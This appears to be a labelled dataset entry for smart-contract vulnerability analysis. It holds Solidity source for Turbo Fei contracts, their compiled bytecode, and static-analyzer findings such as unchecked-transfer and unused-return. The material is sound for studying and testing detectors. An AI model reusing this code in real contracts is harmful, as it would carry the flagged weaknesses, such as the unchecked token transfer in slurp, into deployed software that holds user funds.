FuseAdmin. contract TurboMaster is Auth, ENSReverseRecordAuth { using SafeTransferLib for ERC20; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Turbo Fuse Pool the Safes will interact with. Comptroller public immutable pool; /// @notice The Fei token on the network. ERC20 public immutable fei; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Master contract. /// @param _pool The Turbo Fuse Pool the Master will use. /// @param _fei The Fei token on the network. /// @param _owner The owner of the Master. /// @param _authority The Authority of the Master. constructor( Comptroller _pool, ERC20 _fei, address _owner, Authority _authority ) Auth(_owner, _authority) { pool = _pool; fei = _fei; // Prevent the first safe from getting id 0. safes.push(TurboSafe(address(0))); } /*/////////////////////////////////////////////////////////////// BOOSTER STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The Booster module used by the Master and its Safes. TurboBooster public booster; /// @notice Emitted when the Booster is updated. /// @param user The user who triggered the update of the Booster. /// @param newBooster The new Booster contract used by the Master. event BoosterUpdated(address indexed user, TurboBooster newBooster); /// @notice Update the Booster used by the Master. /// @param newBooster The new Booster contract to be used by the Master. function setBooster(TurboBooster newBooster) external requiresAuth { booster = newBooster; emit BoosterUpdated(msg.sender, newBooster); } /*/////////////////////////////////////////////////////////////// CLERK STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The Clerk module used by the Master and its Safes. TurboClerk public clerk; /// @notice Emitted when the Clerk is updated. /// @param user The user who triggered the update of the Clerk. /// @param newClerk The new Clerk contract used by the Master. event ClerkUpdated(address indexed user, TurboClerk newClerk); /// @notice Update the Clerk used by the Master. /// @param newClerk The new Clerk contract to be used by the Master. function setClerk(TurboClerk newClerk) external requiresAuth { clerk = newClerk; emit ClerkUpdated(msg.sender, newClerk); } /*/////////////////////////////////////////////////////////////// DEFAULT SAFE AUTHORITY CONFIGURATION //////////////////////////////////////////////////////////////*/ /// @notice The default authority to be used by created Safes. Authority public defaultSafeAuthority; /// @notice Emitted when the default safe authority is updated. /// @param user The user who triggered the update of the default safe authority. /// @param newDefaultSafeAuthority The new default authority to be used by created Safes. event DefaultSafeAuthorityUpdated(address indexed user, Authority newDefaultSafeAuthority); /// @notice Set the default authority to be used by created Safes. /// @param newDefaultSafeAuthority The new default safe authority. function setDefaultSafeAuthority(Authority newDefaultSafeAuthority) external requiresAuth { // Update the default safe authority. defaultSafeAuthority = newDefaultSafeAuthority; emit DefaultSafeAuthorityUpdated(msg.sender, newDefaultSafeAuthority); } /*/////////////////////////////////////////////////////////////// SAFE STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The total Fei currently boosting Vaults. uint256 public totalBoosted; /// @notice Maps Safe addresses to the id they are stored under in the Safes array. mapping(TurboSafe => uint256) public getSafeId; /// @notice Maps Vault addresses to the total amount of Fei they've being boosted with. mapping(ERC4626 => uint256) public getTotalBoostedForVault; /// @notice Maps collateral types to the total amount of Fei boosted by Safes using it as collateral. mapping(ERC20 => uint256) public getTotalBoostedAgainstCollateral; /// @notice An array of all Safes created by the Master. /// @dev The first Safe is purposely invalid to prevent any Safes from having an id of 0. TurboSafe[] public safes; /// @notice Returns all Safes created by the Master. /// @return An array of all Safes created by the Master. /// @dev This is provided because Solidity converts public arrays into index getters, /// but we need a way to allow external contracts and users to access the whole array. function getAllSafes() external view returns (TurboSafe[] memory) { return safes; } /*/////////////////////////////////////////////////////////////// SAFE CREATION LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a new Safe is created. /// @param user The user who created the Safe. /// @param asset The asset of the Safe. /// @param safe The newly deployed Safe contract. /// @param id The index of the Safe in the safes array. event TurboSafeCreated(address indexed user, ERC20 indexed asset, TurboSafe safe, uint256 id); /// @notice Creates a new Turbo Safe which supports a specific asset. /// @param asset The ERC20 token that the Safe should accept. /// @return safe The newly deployed Turbo Safe which accepts the provided asset. function createSafe(ERC20 asset) external requiresAuth returns (TurboSafe safe, uint256 id) { // Create a new Safe using the default authority and provided asset. safe = new TurboSafe(msg.sender, defaultSafeAuthority, asset); // Add the safe to the list of Safes. safes.push(safe); unchecked { // Get the index/id of the new Safe. // Cannot underflow, we just pushed to it. id = safes.length - 1; } // Store the id/index of the new Safe. getSafeId[safe] = id; emit TurboSafeCreated(msg.sender, asset, safe, id); // Prepare a users array to whitelist the Safe. address[] memory users = new address[](1); users[0] = address(safe); // Prepare an enabled array to whitelist the Safe. bool[] memory enabled = new bool[](1); enabled[0] = true; // Whitelist the Safe to access the Turbo Fuse Pool. FuseAdmin(pool.admin())._setWhitelistStatuses(users, enabled); } /*/////////////////////////////////////////////////////////////// SAFE CALLBACK LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Callback triggered whenever a Safe boosts a Vault. /// @param asset The asset of the Safe. /// @param vault The Vault that was boosted. /// @param feiAmount The amount of Fei used to boost the Vault. function onSafeBoost( ERC20 asset, ERC4626 vault, uint256 feiAmount ) external { // Get the caller as a Safe instance. TurboSafe safe = TurboSafe(msg.sender); // Ensure the Safe was created by this Master. require(getSafeId[safe] != 0, "INVALID_SAFE"); // Update the total amount of Fei being using to boost Vaults. totalBoosted += feiAmount; // Cache the new total boosted for the Vault. uint256 newTotalBoostedForVault; // Cache the new total boosted against the Vault's collateral. uint256 newTotalBoostedAgainstCollateral; // Update the total amount of Fei being using to boost the Vault. getTotalBoostedForVault[vault] = (newTotalBoostedForVault = getTotalBoostedForVault[vault] + feiAmount); // Update the total amount of Fei boosted against the collateral type. getTotalBoostedAgainstCollateral[asset] = (newTotalBoostedAgainstCollateral = getTotalBoostedAgainstCollateral[asset] + feiAmount); // Check with the booster that the Safe is allowed to boost the Vault using this amount of Fei. require( booster.canSafeBoostVault( safe, asset, vault, feiAmount, newTotalBoostedForVault, newTotalBoostedAgainstCollateral ), "BOOSTER_REJECTED" ); } /// @notice Callback triggered whenever a Safe withdraws from a Vault. /// @param asset The asset of the Safe. /// @param vault The Vault that was withdrawn from. /// @param feiAmount The amount of Fei withdrawn from the Vault. function onSafeLess( ERC20 asset, ERC4626 vault, uint256 feiAmount ) external { // Get the caller as a Safe instance. TurboSafe safe = TurboSafe(msg.sender); // Ensure the Safe was created by this Master. require(getSafeId[safe] != 0, "INVALID_SAFE"); // Update the total amount of Fei being using to boost the Vault. getTotalBoostedForVault[vault] -= feiAmount; // Update the total amount of Fei being using to boost Vaults. totalBoosted -= feiAmount; // Update the total amount of Fei boosted against the collateral type. getTotalBoostedAgainstCollateral[asset] -= feiAmount; } /*/////////////////////////////////////////////////////////////// SWEEP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a token is sweeped from the Master. /// @param user The user who sweeped the token from the Master. /// @param to The recipient of the sweeped tokens. /// @param amount The amount of the token that was sweeped. event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount); /// @notice Claim tokens sitting idly in the Master. /// @param to The recipient of the sweeped tokens. /// @param token The token to sweep and send. /// @param amount The amount of the token to sweep. function sweep( address to, ERC20 token, uint256 amount ) external requiresAuth { emit TokenSweeped(msg.sender, to, token, amount); // Transfer the sweeped tokens to the recipient. token.safeTransfer(to, amount); } } /// @title Turbo Safe /// @author Transmissions11 /// @notice Fuse liquidity accelerator. contract TurboSafe is Auth, ERC4626, ReentrancyGuard { using SafeTransferLib for ERC20; using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Master contract that created the Safe. /// @dev Fees are paid directly to the Master, where they can be swept. TurboMaster public immutable master; /// @notice The Fei token on the network. ERC20 public immutable fei; /// @notice The Turbo Fuse Pool contract that collateral is held in and Fei is borrowed from. Comptroller public immutable pool; /// @notice The Fei cToken in the Turbo Fuse Pool that Fei is borrowed from. CERC20 public immutable feiTurboCToken; /// @notice The cToken that accepts the asset in the Turbo Fuse Pool. CERC20 public immutable assetTurboCToken; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Safe that accepts a specific asset. /// @param _owner The owner of the Safe. /// @param _authority The Authority of the Safe. /// @param _asset The ERC20 compliant token the Safe should accept. constructor( address _owner, Authority _authority, ERC20 _asset ) Auth(_owner, _authority) ERC4626( _asset, // ex: Dai Stablecoin Turbo Safe string(abi.encodePacked(_asset.name(), " Turbo Safe")), // ex: tsDAI string(abi.encodePacked("ts", _asset.symbol())) ) { master = TurboMaster(msg.sender); fei = master.fei(); // An asset of Fei makes no sense. require(asset != fei, "INVALID_ASSET"); pool = master.pool(); feiTurboCToken = pool.cTokensByUnderlying(fei); assetTurboCToken = pool.cTokensByUnderlying(asset); // If the provided asset is not supported by the Turbo Fuse Pool, revert. require(address(assetTurboCToken) != address(0), "UNSUPPORTED_ASSET"); // Construct an array of market(s) to enable as collateral. CERC20[] memory marketsToEnter = new CERC20[](1); marketsToEnter[0] = assetTurboCToken; // Enter the market(s) and ensure to properly revert if there is an error. require(pool.enterMarkets(marketsToEnter)[0] == 0, "ENTER_MARKETS_FAILED"); // Preemptively approve the asset to the Turbo Fuse Pool's corresponding cToken. asset.safeApprove(address(assetTurboCToken), type(uint256).max); // Preemptively approve Fei to the Turbo Fuse Pool's Fei cToken. fei.safeApprove(address(feiTurboCToken), type(uint256).max); } /*/////////////////////////////////////////////////////////////// SAFE STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The current total amount of Fei the Safe is using to boost Vaults. uint256 public totalFeiBoosted; /// @notice Maps Vaults to the total amount of Fei they've being boosted with. /// @dev Used to determine the fees to be paid back to the Master. mapping(ERC4626 => uint256) public getTotalFeiBoostedForVault; /*/////////////////////////////////////////////////////////////// MODIFIERS //////////////////////////////////////////////////////////////*/ /// @dev Checks the caller is authorized using either the Master's Authority or the Safe's local Authority. modifier requiresLocalOrMasterAuth() { // Check if the caller is the owner first: if (msg.sender != owner) { Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice. // If the Master's Authority does not exist or does not accept upfront: if (address(masterAuth) == address(0) || !masterAuth.canCall(msg.sender, address(this), msg.sig)) { Authority auth = authority; // Memoizing saves us a warm SLOAD, around 100 gas. // The only authorization option left is via the local Authority, otherwise revert. require( address(auth) != address(0) && auth.canCall(msg.sender, address(this), msg.sig), "UNAUTHORIZED" ); } } _; } /// @dev Checks the caller is authorized using the Master's Authority. modifier requiresMasterAuth() { Authority masterAuth = master.authority(); // Avoid wasting gas calling the Master twice. // Revert if the Master's Authority does not approve of the call and the caller is not the Master's owner. require( (address(masterAuth) != address(0) && masterAuth.canCall(msg.sender, address(this), msg.sig)) || msg.sender == master.owner(), "UNAUTHORIZED" ); _; } /*/////////////////////////////////////////////////////////////// ERC4626 LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Called after any type of deposit occurs. /// @param assetAmount The amount of assets being deposited. /// @dev Using requiresAuth here prevents unauthorized users from depositing. function afterDeposit(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth { // Collateralize the assets in the Turbo Fuse Pool. require(assetTurboCToken.mint(assetAmount) == 0, "MINT_FAILED"); } /// @notice Called before any type of withdrawal occurs. /// @param assetAmount The amount of assets being withdrawn. /// @dev Using requiresAuth here prevents unauthorized users from withdrawing. function beforeWithdraw(uint256 assetAmount, uint256) internal override nonReentrant requiresAuth { // Withdraw the assets from the Turbo Fuse Pool. require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED"); } /// @notice Returns the total amount of assets held in the Safe. /// @return The total amount of assets held in the Safe. function totalAssets() public view override returns (uint256) { return assetTurboCToken.balanceOf(address(this)).mulWadDown(assetTurboCToken.exchangeRateStored()); } /*/////////////////////////////////////////////////////////////// BOOST/LESS LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Vault is boosted by the Safe. /// @param user The user who boosted the Vault. /// @param vault The Vault that was boosted. /// @param feiAmount The amount of Fei that was boosted to the Vault. event VaultBoosted(address indexed user, ERC4626 indexed vault, uint256 feiAmount); /// @notice Borrow Fei from the Turbo Fuse Pool and deposit it into an authorized Vault. /// @param vault The Vault to deposit the borrowed Fei into. /// @param feiAmount The amount of Fei to borrow and supply into the Vault. function boost(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresAuth { // Ensure the Vault accepts Fei asset. require(vault.asset() == fei, "NOT_FEI"); // Call the Master where it will do extra validation // and update it's total count of funds used for boosting. master.onSafeBoost(asset, vault, feiAmount); // Increase the boost total proportionately. totalFeiBoosted += feiAmount; // Update the total Fei deposited into the Vault proportionately. getTotalFeiBoostedForVault[vault] += feiAmount; emit VaultBoosted(msg.sender, vault, feiAmount); // Borrow the Fei amount from the Fei cToken in the Turbo Fuse Pool. require(feiTurboCToken.borrow(feiAmount) == 0, "BORROW_FAILED"); // Approve the borrowed Fei to the specified Vault. fei.safeApprove(address(vault), feiAmount); // Deposit the Fei into the specified Vault. vault.deposit(feiAmount, address(this)); } /// @notice Emitted when a Vault is withdrawn from by the Safe. /// @param user The user who lessed the Vault. /// @param vault The Vault that was withdrawn from. /// @param feiAmount The amount of Fei that was withdrawn from the Vault. event VaultLessened(address indexed user, ERC4626 indexed vault, uint256 feiAmount); /// @notice Withdraw Fei from a deposited Vault and use it to repay debt in the Turbo Fuse Pool. /// @param vault The Vault to withdraw the Fei from. /// @param feiAmount The amount of Fei to withdraw from the Vault and repay in the Turbo Fuse Pool. function less(ERC4626 vault, uint256 feiAmount) external nonReentrant requiresLocalOrMasterAuth { // Update the total Fei deposited into the Vault proportionately. getTotalFeiBoostedForVault[vault] -= feiAmount; // Decrease the boost total proportionately. totalFeiBoosted -= feiAmount; emit VaultLessened(msg.sender, vault, feiAmount); // Withdraw the specified amount of Fei from the Vault. vault.withdraw(feiAmount, address(this), address(this)); // Get out current amount of Fei debt in the Turbo Fuse Pool. uint256 feiDebt = feiTurboCToken.borrowBalanceCurrent(address(this)); // Call the Master to allow it to update its accounting. master.onSafeLess(asset, vault, feiAmount); // If our debt balance decreased, repay the minimum. // The surplus Fei will accrue as fees and can be sweeped. if (feiAmount > feiDebt) feiAmount = feiDebt; // Repay Fei debt in the Turbo Fuse Pool, unless we would repay nothing. if (feiAmount != 0) require(feiTurboCToken.repayBorrow(feiAmount) == 0, "REPAY_FAILED"); } /*/////////////////////////////////////////////////////////////// SLURP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Vault is slurped from by the Safe. /// @param user The user who slurped the Vault. /// @param vault The Vault that was slurped. /// @param protocolFeeAmount The amount of Fei accrued as fees to the Master. /// @param safeInterestAmount The amount of Fei accrued as interest to the Safe. event VaultSlurped( address indexed user, ERC4626 indexed vault, uint256 protocolFeeAmount, uint256 safeInterestAmount ); /// @notice Accrue any interest earned by the Safe in the Vault. /// @param vault The Vault to accrue interest from, if any. /// @dev Sends a portion of the interest to the Master, as determined by the Clerk. function slurp(ERC4626 vault) external nonReentrant requiresLocalOrMasterAuth returns(uint256 safeInterestAmount) { // Cache the total Fei currently boosting the Vault. uint256 totalFeiBoostedForVault = getTotalFeiBoostedForVault[vault]; // Ensure the Safe has Fei currently boosting the Vault. require(totalFeiBoostedForVault != 0, "NO_FEI_BOOSTED"); // Compute the amount of Fei interest the Safe generated by boosting the Vault. uint256 interestEarned = vault.previewRedeem(vault.balanceOf(address(this))) - totalFeiBoostedForVault; // Compute what percentage of the interest earned will go back to the Safe. uint256 protocolFeePercent = master.clerk().getFeePercentageForSafe(this, asset); // Compute the amount of Fei the protocol will retain as fees. uint256 protocolFeeAmount = interestEarned.mulWadDown(protocolFeePercent); // Compute the amount of Fei the Safe will retain as interest. safeInterestAmount = interestEarned - protocolFeeAmount; emit VaultSlurped(msg.sender, vault, protocolFeeAmount, safeInterestAmount); vault.withdraw(interestEarned, address(this), address(this)); // If we have unaccrued fees, withdraw them from the Vault and transfer them to the Master. if (protocolFeeAmount != 0) fei.transfer(address(master), protocolFeeAmount); } /*/////////////////////////////////////////////////////////////// SWEEP LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a token is sweeped from the Safe. /// @param user The user who sweeped the token from the Safe. /// @param to The recipient of the sweeped tokens. /// @param amount The amount of the token that was sweeped. event TokenSweeped(address indexed user, address indexed to, ERC20 indexed token, uint256 amount); /// @notice Claim tokens sitting idly in the Safe. /// @param to The recipient of the sweeped tokens. /// @param token The token to sweep and send. /// @param amount The amount of the token to sweep. function sweep( address to, ERC20 token, uint256 amount ) external requiresAuth { // Ensure the caller is not trying to steal Vault shares or collateral cTokens. require(getTotalFeiBoostedForVault[ERC4626(address(token))] == 0 && token != assetTurboCToken, "INVALID_TOKEN"); emit TokenSweeped(msg.sender, to, token, amount); // Transfer the sweeped tokens to the recipient. token.safeTransfer(to, amount); } /*/////////////////////////////////////////////////////////////// GIB LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted when a Safe is gibbed. /// @param user The user who gibbed the Safe. /// @param to The recipient of the impounded collateral. /// @param assetAmount The amount of underling tokens impounded. event SafeGibbed(address indexed user, address indexed to, uint256 assetAmount); /// @notice Impound a specific amount of a Safe's collateral. /// @param to The address to send the impounded collateral to. /// @param assetAmount The amount of the asset to impound. /// @dev Debt must be repaid in advance, or the redemption will fail. function gib(address to, uint256 assetAmount) external nonReentrant requiresMasterAuth { emit SafeGibbed(msg.sender, to, assetAmount); // Withdraw the specified amount of assets from the Turbo Fuse Pool. require(assetTurboCToken.redeemUnderlying(assetAmount) == 0, "REDEEM_FAILED"); // Transfer the assets to the authorized caller. asset.safeTransfer(to, assetAmount); } } /// @title Turbo Savior /// @author Transmissions11 /// @notice Safe repayment module. contract TurboSavior is Auth, ReentrancyGuard, ENSReverseRecordAuth { using FixedPointMathLib for uint256; /*/////////////////////////////////////////////////////////////// IMMUTABLES //////////////////////////////////////////////////////////////*/ /// @notice The Master contract. /// @dev Used to validate Safes are legitimate. TurboMaster public immutable master; /// @notice The Fei token on the network. Fei public immutable fei; /// @notice The Turbo Fuse Pool used by the Master. Comptroller public immutable pool; /// @notice The Fei cToken in the Turbo Fuse Pool. CERC20 public immutable feiTurboCToken; /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ /// @notice Creates a new Turbo Savior contract. /// @param _master The Master of the Savior. /// @param _owner The owner of the Savior. /// @param _authority The Authority of the Savior. constructor( TurboMaster _master, address _owner, Authority _authority ) Auth(_owner, _authority) { master = _master; fei = Fei(address(master.fei())); pool = master.pool(); feiTurboCToken = pool.cTokensByUnderlying(fei); } /*/////////////////////////////////////////////////////////////// LINE LOGIC //////////////////////////////////////////////////////////////*/ /// @notice The minimum percentage debt must make up of the borrow limit for a Safe to be saved. /// @dev A fixed point number where 1e18 represents 100% and 0 represents 0%. uint256 public minDebtPercentageForSaving; /// @notice Emitted when the minimum debt percentage for saving is updated. /// @param newDefaultFeePercentage The new minimum debt percentage for saving. event MinDebtPercentageForSavingUpdated(address indexed user, uint256 newDefaultFeePercentage); /// @notice Sets the minimum debt percentage. /// @param newMinDebtPercentageForSaving The new minimum debt percentage. function setMinDebtPercentageForSaving(uint256 newMinDebtPercentageForSaving) external requiresAuth { // A minimum debt percentage over 100% makes no sense. require(newMinDebtPercentageForSaving <= 1e18, "PERCENT_TOO_HIGH"); // Update the minimum debt percentage. minDebtPercentageForSaving = newMinDebtPercentageForSaving; emit MinDebtPercentageForSavingUpdated(msg.sender, newMinDebtPercentageForSaving); } /*/////////////////////////////////////////////////////////////// SAVE LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Emitted a save is executed. /// @param user The user who executed the save. /// @param safe The Safe that was saved. /// @param vault The Vault that was lessed. /// @param feiAmount The amount of Fei that was lessed. event SafeSaved(address indexed user, TurboSafe indexed safe, ERC4626 indexed vault, uint256 feiAmount); /// @notice Save a Safe (call less on owner's behalf to prevent liquidation). /// @param safe The Safe to be saved. /// @param vault The Vault to less from. /// @param feiAmount The amount of Fei to less from the Safe. function save( TurboSafe safe, ERC4626 vault, uint256 feiAmount ) external requiresAuth nonReentrant { // Ensure the Safe is registered with the Master. require(master.getSafeId(safe) != 0); emit SafeSaved(msg.sender, safe, vault, feiAmount); // Cache the Safe's collateral asset. CERC20 assetTurboCToken = safe.assetTurboCToken(); // Cache the pool's current oracle. PriceFeed oracle = pool.oracle(); // Get the Safe's asset's collateral factor in the Turbo Fuse Pool. (, uint256 collateralFactor) = pool.markets(assetTurboCToken); // Compute the value of the Safe's collateral. Rounded down to favor saving. uint256 borrowLimit = assetTurboCToken .balanceOf(address(safe)) .mulWadDown(assetTurboCToken.exchangeRateStored()) .mulWadDown(collateralFactor) .mulWadDown(oracle.getUnderlyingPrice(assetTurboCToken)); // Compute the value of the Safe's debt. Rounding up to favor saving them. uint256 debtValue = feiTurboCToken.borrowBalanceCurrent(address(safe)).mulWadUp( oracle.getUnderlyingPrice(feiTurboCToken) ); // Ensure the Safe's debt percentage is high enough to justify saving, otherwise revert. require( borrowLimit != 0 && debtValue.divWadUp(borrowLimit) >= minDebtPercentageForSaving, "DEBT_PERCENT_TOO_LOW" ); // Less the Fei from the Safe. safe.less(vault, feiAmount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638da5cb5b1161008c578063a1ea7d6a11610066578063a1ea7d6a146101d2578063a9b3af4e146101f9578063bf7e214f1461020c578063ee97f7f31461021f57600080fd5b80638da5cb5b1461017d578063952899fc146101905780639a9ba4da146101ab57600080fd5b806313af4035146100d457806316f0115b146100e95780636c36515d1461012d57806377dd4ac3146101405780637a0d987f146101535780637a9e5e4b1461016a575b600080fd5b6100e76100e2366004610c92565b610246565b005b6101107f0000000000000000000000001d9eee473cc1b3b6d316740f5677ef36e8f0329e81565b6040516001600160a01b0390911681526020015b60405180910390f35b6100e761013b366004610caf565b6102cc565b6100e761014e366004610d06565b6108e9565b61015c60035481565b604051908152602001610124565b6100e7610178366004610c92565b610999565b600054610110906001600160a01b031681565b61011073084b1c3c81545d370f3634392de611caabff814881565b6101107f000000000000000000000000956f47f50a910163d8bf957cf5846d573e7f87ca81565b6101107f000000000000000000000000081e7c60bcb8a2e7e43076a2988068c0a6e69e2781565b6100e7610207366004610db7565b610a83565b600154610110906001600160a01b031681565b6101107f000000000000000000000000f2e513d3b4171bb115cb9ffc45555217fbbbd00c81565b61025c336000356001600160e01b031916610b3d565b6102815760405162461bcd60e51b815260040161027890610dd0565b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8292fce18fa69edf4db7b94ea2e58241df0ae57f97e0a6c9b29067028bf92d769190a350565b6102e2336000356001600160e01b031916610b3d565b6102fe5760405162461bcd60e51b815260040161027890610dd0565b60025460011461033d5760405162461bcd60e51b815260206004820152600a6024820152695245454e5452414e435960b01b6044820152606401610278565b600280556040516368cfaad360e11b81526001600160a01b0384811660048301527f000000000000000000000000f2e513d3b4171bb115cb9ffc45555217fbbbd00c169063d19f55a690602401602060405180830381865afa1580156103a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103cb9190610df6565b6103d457600080fd5b816001600160a01b0316836001600160a01b0316336001600160a01b03167f4b5df145763d99402dfdc276829346ee5efaf765afaf4def24b82374eb8df97b8460405161042391815260200190565b60405180910390a46000836001600160a01b031663ec11e1676040518163ffffffff1660e01b8152600401602060405180830381865afa15801561046b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048f9190610e0f565b905060007f0000000000000000000000001d9eee473cc1b3b6d316740f5677ef36e8f0329e6001600160a01b0316637dc0d1d06040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105159190610e0f565b604051638e8f294b60e01b81526001600160a01b0384811660048301529192506000917f0000000000000000000000001d9eee473cc1b3b6d316740f5677ef36e8f0329e1690638e8f294b906024016040805180830381865afa158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a49190610e41565b60405163fc57d4df60e01b81526001600160a01b038681166004830152919350600092506106f29185169063fc57d4df90602401602060405180830381865afa1580156105f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106199190610df6565b6106ec846106ec886001600160a01b031663182df0f56040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106829190610df6565b6040516370a0823160e01b81526001600160a01b038e811660048301528b16906370a0823190602401602060405180830381865afa1580156106c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ec9190610df6565b90610be7565b60405163fc57d4df60e01b81526001600160a01b037f000000000000000000000000081e7c60bcb8a2e7e43076a2988068c0a6e69e2781166004830152919250600091610819919086169063fc57d4df90602401602060405180830381865afa158015610763573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107879190610df6565b6040516305eff7ef60e21b81526001600160a01b038b811660048301527f000000000000000000000000081e7c60bcb8a2e7e43076a2988068c0a6e69e2716906317bfdfbc906024016020604051808303816000875af11580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108139190610df6565b90610c03565b9050811580159061083557506003546108328284610c18565b10155b6108785760405162461bcd60e51b8152602060048201526014602482015273444542545f50455243454e545f544f4f5f4c4f5760601b6044820152606401610278565b604051633776d3d960e01b81526001600160a01b03888116600483015260248201889052891690633776d3d990604401600060405180830381600087803b1580156108c257600080fd5b505af11580156108d6573d6000803e3d6000fd5b5050600160025550505050505050505050565b6108ff336000356001600160e01b031916610b3d565b61091b5760405162461bcd60e51b815260040161027890610dd0565b60405163c47f002760e01b815273084b1c3c81545d370f3634392de611caabff81489063c47f002790610952908490600401610e6d565b6020604051808303816000875af1158015610971573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109959190610df6565b5050565b6000546001600160a01b0316331480610a2e575060015460405163b700961360e01b81526001600160a01b039091169063b7009613906109ed90339030906001600160e01b03196000351690600401610ec2565b602060405180830381865afa158015610a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2e9190610eef565b610a3757600080fd5b600180546001600160a01b0319166001600160a01b03831690811790915560405133907fa3396fd7f6e0a21b50e5089d2da70d5ac0a3bbbd1f617a93f134b7638998019890600090a350565b610a99336000356001600160e01b031916610b3d565b610ab55760405162461bcd60e51b815260040161027890610dd0565b670de0b6b3a7640000811115610b005760405162461bcd60e51b815260206004820152601060248201526f0a08aa4868a9ca8bea89e9ebe90928e960831b6044820152606401610278565b600381905560405181815233907face44d126ca8f55469f77694e10a6d9d3963f98defb87a8730b8ddb1c710e74c9060200160405180910390a250565b6001546000906001600160a01b03168015801590610bc7575060405163b700961360e01b81526001600160a01b0382169063b700961390610b8690879030908890600401610ec2565b602060405180830381865afa158015610ba3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc79190610eef565b80610bdf57506000546001600160a01b038581169116145b949350505050565b6000610bfc8383670de0b6b3a7640000610c2d565b9392505050565b6000610bfc8383670de0b6b3a7640000610c4c565b6000610bfc83670de0b6b3a764000084610c4c565b828202811515841585830485141716610c4557600080fd5b0492915050565b828202811515841585830485141716610c6457600080fd5b6001826001830304018115150290509392505050565b6001600160a01b0381168114610c8f57600080fd5b50565b600060208284031215610ca457600080fd5b8135610bfc81610c7a565b600080600060608486031215610cc457600080fd5b8335610ccf81610c7a565b92506020840135610cdf81610c7a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208284031215610d1857600080fd5b813567ffffffffffffffff80821115610d3057600080fd5b818401915084601f830112610d4457600080fd5b813581811115610d5657610d56610cf0565b604051601f8201601f19908116603f01168101908382118183101715610d7e57610d7e610cf0565b81604052828152876020848701011115610d9757600080fd5b826020860160208301376000928101602001929092525095945050505050565b600060208284031215610dc957600080fd5b5035919050565b6020808252600c908201526b15539055551213d49256915160a21b604082015260600190565b600060208284031215610e0857600080fd5b5051919050565b600060208284031215610e2157600080fd5b8151610bfc81610c7a565b80518015158114610e3c57600080fd5b919050565b60008060408385031215610e5457600080fd5b610e5d83610e2c565b9150602083015190509250929050565b600060208083528351808285015260005b81811015610e9a57858101830151858201604001528201610e7e565b81811115610eac576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0393841681529190921660208201526001600160e01b0319909116604082015260600190565b600060208284031215610f0157600080fd5b610bfc82610e2c56fea264697066735822122028945f17b32900b68b409269623518ccc3393178cd855d56b74fe976988715f164736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
